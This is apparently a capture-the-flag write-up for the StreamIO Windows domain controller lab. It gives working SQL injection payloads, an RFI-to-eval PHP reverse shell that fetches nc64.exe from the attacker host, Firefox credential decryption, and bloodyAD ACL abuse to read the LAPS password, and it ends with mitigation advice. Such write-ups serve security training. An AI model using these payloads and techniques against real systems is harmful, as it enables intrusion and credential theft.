Overview

StreamIO is a Windows Active Directory box (domain streamIO.htb, hostname DC) running IIS + PHP with MSSQL as the backend database. The foothold chains a UNION-based SQL injection on a streaming subdomain into credential recovery, a hidden debug parameter that exposes a local file include, and finally a remote file include that reaches a raw eval() for code execution.

From there the path is pure credential reuse and Active Directory ACL abuse: database credentials pulled from the web root unlock a backup database with fresh hashes, saved Firefox logins hand over a domain user, and a WriteOwner/Owns edge over a group with ReadLAPSPassword lets us read the LAPS-managed local administrator password and log in as administrator.

1
2
3
4
5
6
Recon -> watch.streamio.htb SQLi (MSSQL UNION) -> hash cracking
  -> web admin login (yoshihide) -> LFI via `debug` -> RFI -> eval() RCE
  -> post-ex: db_admin creds in web root -> streamio_backup DB -> nikk37 hash
  -> WinRM as nikk37 (user flag) -> Firefox saved logins -> JDgodd (password reuse)
  -> BloodHound: JDgodd Owns/WriteOwner CORE STAFF -> CORE STAFF ReadLAPSPassword
  -> bloodyAD: take group, add self, read LAPS -> administrator (root flag)

Reconnaissance

Nmap

A full TCP scan followed by a service scan shows the classic domain controller fingerprint:

1
2
nmap -p- --min-rate 10000 10.10.10.x
nmap -p 53,80,88,135,139,389,443,445,464,593,636,3268,3269,5985,9389 -sCV 10.10.10.x
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
53/tcp    open  domain
80/tcp    open  http          Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap          Domain: streamIO.htb0., Site: Default-First-Site-Name
443/tcp   open  ssl/http      Microsoft HTTPAPI httpd 2.0
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  ncacn_http
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws

DNS (53), Kerberos (88), LDAP (389/3268), SMB (445) and ADWS (9389) together confirm a domain controller for streamIO.htb. WinRM (5985) is exposed, which is worth remembering - it means any domain user in Remote Management Users gives us a shell without needing a foothold on the web side.

The TLS certificate on 443 leaks two names, streamIO.htb and watch.streamIO.htb. Both go into /etc/hosts.

Subdomain and directory brute force

Fuzzing virtual hosts only confirms the watch subdomain already seen on the certificate:

1
2
wfuzz -u https://streamio.htb -H "Host: FUZZ.streamio.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 315

feroxbuster against https://streamio.htb (with the .php extension, since the site is PHP per the X-Powered-By: PHP/7.2.26 header) finds a login/register flow and an admin area:

1
2
3
4
5
/login.php          200
/register.php       200
/admin/             301
/admin/index.php    403   (Forbidden)
/admin/master.php   200   "Only accessable through includes"

/admin/master.php returning “Only accessable through includes” is a strong hint - the page is meant to be pulled in via a PHP include, not requested directly. Keep it in mind.

On watch.streamio.htb, the same scan surfaces search.php and a blocked.php page, the latter revealing a crude WAF that redirects to blocked.php on certain keywords (e.g. 0x, **, all, null).

Initial Access

SQL injection on search.php

The search box on watch.streamio.htb POSTs a q parameter server-side. A single quote breaks nothing visibly (errors are swallowed), but injecting man';-- - returns exactly the movies ending in “man”, which only makes sense if the input lands inside a LIKE '%...%' clause that we’ve terminated and commented out:

1
select * from movies where title like '%man';-- -%';

sqlmap gets nowhere (the WAF eats its probes), but a manual UNION with six columns lines up, and @@version confirms the backend is Microsoft SQL Server 2019 on Windows:

1
2
10' union select 1,2,3,4,5,6-- -
10' union select 1,@@version,3,4,5,6-- -

Schema enumeration has to work around both the WAF (which blocks ORDER BY, 0x, **, all, null) and MSSQL’s single-statement-per-subquery limitation. DB_NAME() returns the current database STREAMIO, and STRING_AGG collapses multiple rows into one result cell - handy when the page only renders one column value at a time:

1
2
10' union select 1,(select DB_NAME()),3,4,5,6-- -
10' union select 1,(SELECT STRING_AGG(name, ',') FROM STREAMIO..sysobjects WHERE xtype='U'),3,4,5,6-- -

That reveals the movies and users tables. Pulling the column names from syscolumns (matched to the users table id via sysobjects) confirms username and password columns, and CONCAT dumps both in one shot:

1
2
10' union select 1,name,3,4,5,6 FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')-- -
10' union select 1,CONCAT(username,' ',password),3,4,5,6 FROM users-- -

The result is a long list of username + 32-hex-character (MD5) pairs.

Cracking hashes

The dumped MD5s crack readily against rockyou:

1
hashcat user-passwords /usr/share/wordlists/rockyou.txt --user -m 0
1
2
3
4
admin:paddpadd
Barry:$hadoW
yoshihide:66boysandgirls..
...

Web login as yoshihide

Spraying the cracked pairs against SMB fails (these are website accounts, not domain accounts). But login.php on streamio.htb accepts one of them. hydra confirms which:

1
2
hydra -C userpass streamio.htb https-post-form \
  "/login.php:username=^USER^&password=^PASS^:F=failed"
1
[443][http-post-form] login: yoshihide   password: 66boysandgirls..

From debug to LFI to RFI

Logged in, /admin/ is reachable. Each management link is a GET parameter (?user=, ?staff=, ?movie=, ?message=). Fuzzing the parameter name reveals a fifth one:

1
2
3
wfuzz -u https://streamio.htb/admin/?FUZZ= \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -H "Cookie: PHPSESSID=..." --hh 1678
1
000001575:   200   "debug"

admin/index.php is a local file include on that parameter (blocking only index.php itself):

1
2
3
4
if(isset($_GET['debug'])) {
    if($_GET['debug'] === "index.php") { die(' ---- ERROR ----'); }
    else { include $_GET['debug']; }
}

Requesting ?debug=master.php finally pulls in the “only through includes” page from earlier. Reading its source (via ?debug=php://filter/convert.base64-encode/resource=master.php, or straight off disk later) shows the real prize at the bottom of the file:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<form method="POST">
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include'])) {
    if($_POST['include'] !== "index.php")
        eval(file_get_contents($_POST['include']));
    else
        echo(" ---- ERROR ---- ");
}
?>

file_get_contents($_POST['include']) passed to eval() is a remote file include into direct PHP execution. The include parameter is a URL/path, its contents are fetched and evaluated as PHP. Because master.php is only executable when included, the trigger is a POST to /admin/?debug=master.php carrying an include= body pointing at our own web server.

RCE and reverse shell

Hosting a payload on a local web server:

1
python3 -m http.server 80
1
2
3
4
curl --path-as-is -i -s -k -X POST \
  -b 'PHPSESSID=kjn75aeia6vclsgebrl86fgvsj' \
  --data-binary 'include=http://10.10.14.65/shell.php' \
  'https://streamio.htb/admin/?debug=master.php'

Since the payload is eval()’d (not include’d), it needs no <?php tags. shell.php pulls nc64.exe and returns a shell:

1
2
system("powershell -c wget 10.10.14.65/nc64.exe -outfile \\programdata\\nc64.exe");
system("\\programdata\\nc64.exe -e powershell 10.10.14.65 443");

The web server logs both fetches, and a listener catches the callback:

1
2
10.10.10.x - - "GET /shell.php HTTP/1.0" 200 -
10.10.10.x - - "GET /nc64.exe HTTP/1.1" 200 -

Shell lands as streamio\yoshihide.

Lateral Movement

Database credentials in the web root

yoshihide has no home directory, so enumeration moves to the IIS web roots. A recursive grep for connection strings surfaces multiple accounts:

1
dir -recurse *.php | select-string -pattern "database"
1
2
3
admin\index.php : "Database"=>"STREAMIO", "UID"=>"db_admin", "PWD"=>'B1@hx31234567890'
login.php       : "Database"=>"STREAMIO", "UID"=>"db_user",  "PWD"=>'B1@hB1@hB1@h'
register.php    : "Database"=>"STREAMIO", "UID"=>"db_admin", "PWD"=>'B1@hx31234567890'

db_admin is a higher-privileged account than the db_user used by the injectable site - which matters, because the earlier injection couldn’t read the streamio_backup database (a permissions issue).

Backup database via sqlcmd

sqlcmd is already installed on the host, so there’s no need to tunnel to 1433. Using db_admin, the previously inaccessible streamio_backup opens up:

1
sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "select * from users;"
1
2
3
1  nikk37     389d14cb8e4e9b94b137deb1caf0612a
2  yoshihide  b779ba15cedfd22a023c4d8bcf5f2332
...

These are different hashes from the main site. Cracking them:

1
2
3
nikk37:[email protected]
Lauren:##123a8j8w5123##
Sabrina:!!sabrina$

WinRM as nikk37

Spraying the new set against the domain, nikk37 validates - and unlike yoshihide, nikk37 is a member of Remote Management Users:

1
crackmapexec winrm 10.10.10.x -u nikk37 -p '[email protected]'
1
WINRM  10.10.10.x  5985  [+] nikk37:[email protected] (Pwn3d!)
1
evil-winrm -i streamio.htb -u nikk37 -p '[email protected]'

The user flag is on nikk37’s desktop:

1
2
*Evil-WinRM* PS C:\Users\nikk37\Desktop> type user.txt
[REDACTED_USER_FLAG]

Firefox credentials to JDgodd

An uncommon detail for an HTB box: Mozilla Firefox is installed, and nikk37 has a populated profile. Firefox stores saved logins in logins.json, encrypted with a key protected in key4.db. Both files are all that’s needed to decrypt them offline.

winPEAS flags the same thing:

1
2
Firefox credentials file exists at
C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db

Both files are pulled down via evil-winrm’s download:

1
2
download 'C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db'
download logins.json

firepwd decrypts the stored logins:

1
python3 firepwd.py
1
2
3
4
5
6
password check? True
decrypting login/password pairs
https://slack.streamio.htb:b'admin',b'JDg0dd1s@d0p3cr3@t0r'
https://slack.streamio.htb:b'nikk37',b'n1kk1sd0p3t00:)'
https://slack.streamio.htb:b'yoshihide',b'paddpadd@12'
https://slack.streamio.htb:b'JDgodd',b'password@12'

Four Slack passwords. None validate as-is for the account they’re labelled with, so it’s worth trying them across accounts rather than one-to-one. The admin entry’s password is reused by the domain user JDgodd (unsurprising, given the username is embedded in the password):

1
crackmapexec smb 10.10.10.x -u slack-users -p slack-pass --continue-on-success
1
[+] streamIO.htb\JDgodd:JDg0dd1s@d0p3cr3@t0r

JDgodd is not in Remote Management Users, so this is credentials only - no shell yet.

Privilege Escalation

BloodHound

Collecting and reviewing the domain with JDgodd’s credentials, marking the three owned accounts (yoshihide, nikk37, JDgodd) and checking outbound control rights: JDgodd has Owns / WriteOwner over the CORE STAFF group, and CORE STAFF has ReadLAPSPassword on the DC computer object.

That’s the whole escalation in one line: own the group, grant yourself control, add yourself as a member, read LAPS, get the local administrator password.

winPEAS corroborates the environment - LAPS is deployed and the DC’s managed password lives in ms-Mcs-AdmPwd:

1
2
3
=========|| LAPS Check
LAPS Enabled: 1
LAPS Password Length: 14

Taking Core Staff with bloodyAD

The plan is: use WriteOwner/Owns to make JDgodd the owner of the group, grant GenericAll, then add JDgodd as a member. bloodyAD handles the whole flow over LDAP.

A few dead ends worth noting, because they shape the working commands:

  • ldapsearch -h fails - the current build wants -H ldap://..., and unescaped parentheses in the filter trip the shell (zsh: parse error near ')'). Quoting the filter and using -H fixes it.
  • A username typo (jdgood) resolves to nothing: No object found ... (sAMAccountName=jdgood).
  • Adding the member directly fails first, because ownership alone isn’t write access to membership: insufficientAccessRights ... (INSUFF_ACCESS_RIGHTS).

JDgodd already turns out to be the group’s owner, so the missing step is converting ownership into an explicit GenericAll ACE, then adding the member:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# JDgodd is already the owner
bloodyAD -d streamio.htb -u jdgodd -p 'JDg0dd1s@d0p3cr3@t0r' --dc-ip 10.10.10.x \
  set owner 'core staff' jdgodd
# [!] ... is already the owner, no modification will be made

# grant full control over the group object
bloodyAD -d streamio.htb -u jdgodd -p 'JDg0dd1s@d0p3cr3@t0r' --dc-ip 10.10.10.x \
  add genericAll 'core staff' jdgodd
# [+] jdgodd has now GenericAll on core staff

# add ourselves to the group
bloodyAD -d streamio.htb -u jdgodd -p 'JDg0dd1s@d0p3cr3@t0r' --dc-ip 10.10.10.x \
  add groupMember 'core staff' jdgodd
# [+] jdgodd added to core staff

Reading the LAPS password

Now a member of a group with ReadLAPSPassword, JDgodd can read ms-Mcs-AdmPwd on the DC. Both bloodyAD and a plain ldapsearch work:

1
2
3
bloodyAD --host 10.10.10.x -d streamio.htb -u jdgodd -p 'JDg0dd1s@d0p3cr3@t0r' \
  get search --filter '(ms-mcs-admpwdexpirationtime=*)' \
  --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
1
2
3
distinguishedName: CN=DC,OU=Domain Controllers,DC=streamIO,DC=htb
ms-Mcs-AdmPwd: $k6He+{O29@;5@
ms-Mcs-AdmPwdExpirationTime: 134336364263587622
1
2
3
ldapsearch -H ldap://streamio.htb -b 'DC=streamio,DC=htb' -x \
  -D [email protected] -w 'JDg0dd1s@d0p3cr3@t0r' \
  '(ms-MCS-AdmPwd=*)' ms-MCS-AdmPwd

The LAPS value rotates on a schedule (ms-Mcs-AdmPwdExpirationTime), so the exact string is environment- and time-specific.

Root access

The LAPS password is the local administrator password. WinRM as administrator gives a full domain-controller shell:

1
evil-winrm -i 10.10.10.x -u Administrator -p '$k6He+{O29@;5@'
1
2
*Evil-WinRM* PS C:\Users\Administrator> whoami
streamio\administrator

The administrator’s own desktop only holds desktop.ini - expected, since the LAPS password rotates and the flag must survive rotation. The DC keeps a clearing.bat in the administrator’s Documents that resets the Core Staff group and ACLs (the box’s self-cleanup), confirming the intended path:

1
2
3
net group "CORE STAFF" JDgodd /del /dom
dsacls "CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb" -resetdefaultdacl
dsacls "CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb" /G "streamio.htb\JDgodd:WO"

The root flag lives on the other administrators-group user, Martin:

1
2
*Evil-WinRM* PS C:\Users\Martin\Desktop> type root.txt
[REDACTED_ROOT_FLAG]

An unintended alternative also exists: login.php on streamio.htb is vulnerable to a stacked, time-based blind SQL injection (WAITFOR DELAY), which sqlmap can dump - but the credential-and-ACL path above is the intended route.

Detection and Mitigation

StageRoot causeMitigation
SQL injectionUnparameterised query in search.php reaching a LIKE clausePrepared statements / parameterised queries
LFI via debugUser-controlled include $_GET['debug']Never pass user input to include; use an allow-list of known pages
RFI to RCEeval(file_get_contents($_POST['include']))Never fetch and evaluate remote content
Secrets in the web rootHard-coded DB credentials in index.php/register.phpExternalize credentials (vault/env vars), never in source under the web root
Credential reuseWebsite hashes, backup DB, Firefox logins, and Slack password all fed the same domain accountsEnforce unique credentials per system/service
LAPS exposureWriteOwner/Owns on a group with ReadLAPSPasswordAudit who can read LAPS attributes and who controls groups granted that read

Detection signals:

  • Repeated UNION-shaped requests against search.php/login.php with SQL comment sequences (-- -).
  • admin/index.php?debug= requests carrying paths outside the expected page set.
  • Outbound HTTP requests from the DC to attacker-controlled hosts immediately following an authenticated admin session (the RFI fetch).
  • bloodyAD/LDAP writes to group ownership or ACL attributes (Event 5136) followed by a ReadLAPSPassword-scoped LDAP search.

Lessons Learned

  • PHP on MSSQL. The Windows + PHP combination made MSSQL the likely backend; @@version confirmed it and enabled the UNION dump. Swallowed SQL errors did not make the query safe - user input still reached the LIKE clause.
  • eval(file_get_contents($_POST[...])) is direct RCE. The debug LFI merely made the “include-only” master.php reachable; the RFI-to-eval primitive inside it did the real work.
  • Secrets in the web root. Hard-coded DB credentials in index.php/register.php were the pivot into the backup database - source on a compromised host is itself a credential store.
  • Credential reuse across trust boundaries. Website hashes, a backup DB, saved Firefox logins, and a “Slack” password all fed the same domain accounts. Try recovered passwords across every account, not just their labelled one.
  • LAPS is only as strong as its read ACL. A WriteOwner/Owns edge on a group that could ReadLAPSPassword collapsed the whole escalation: take ownership, write a GenericAll ACE, add member, read ms-Mcs-AdmPwd.

Command Reference

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# recon
nmap -p- --min-rate 10000 <IP>
nmap -p 53,80,88,135,139,389,443,445,464,593,636,3268,3269,5985,9389 -sCV <IP>
wfuzz -u https://streamio.htb -H "Host: FUZZ.streamio.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 315
feroxbuster -u https://streamio.htb -x php

# SQLi dump (watch.streamio.htb /search.php, "q" param)
10' union select 1,2,3,4,5,6-- -
10' union select 1,CONCAT(username,' ',password),3,4,5,6 FROM users-- -
hashcat user-passwords /usr/share/wordlists/rockyou.txt --user -m 0

# LFI -> RFI -> RCE
curl --path-as-is -i -s -k -X POST -b 'PHPSESSID=...' \
  --data-binary 'include=http://<LHOST>/shell.php' \
  'https://streamio.htb/admin/?debug=master.php'

# lateral movement
sqlcmd -S localhost -U db_admin -P '<password>' -d streamio_backup -Q "select * from users;"
crackmapexec winrm <IP> -u nikk37 -p '<password>'
python3 firepwd.py   # decrypt Firefox logins.json + key4.db

# AD ACL abuse -> LAPS
bloodyAD -d streamio.htb -u jdgodd -p '<password>' --dc-ip <IP> add genericAll 'core staff' jdgodd
bloodyAD -d streamio.htb -u jdgodd -p '<password>' --dc-ip <IP> add groupMember 'core staff' jdgodd
bloodyAD --host <IP> -d streamio.htb -u jdgodd -p '<password>' \
  get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
evil-winrm -i <IP> -u Administrator -p '<LAPS-password>'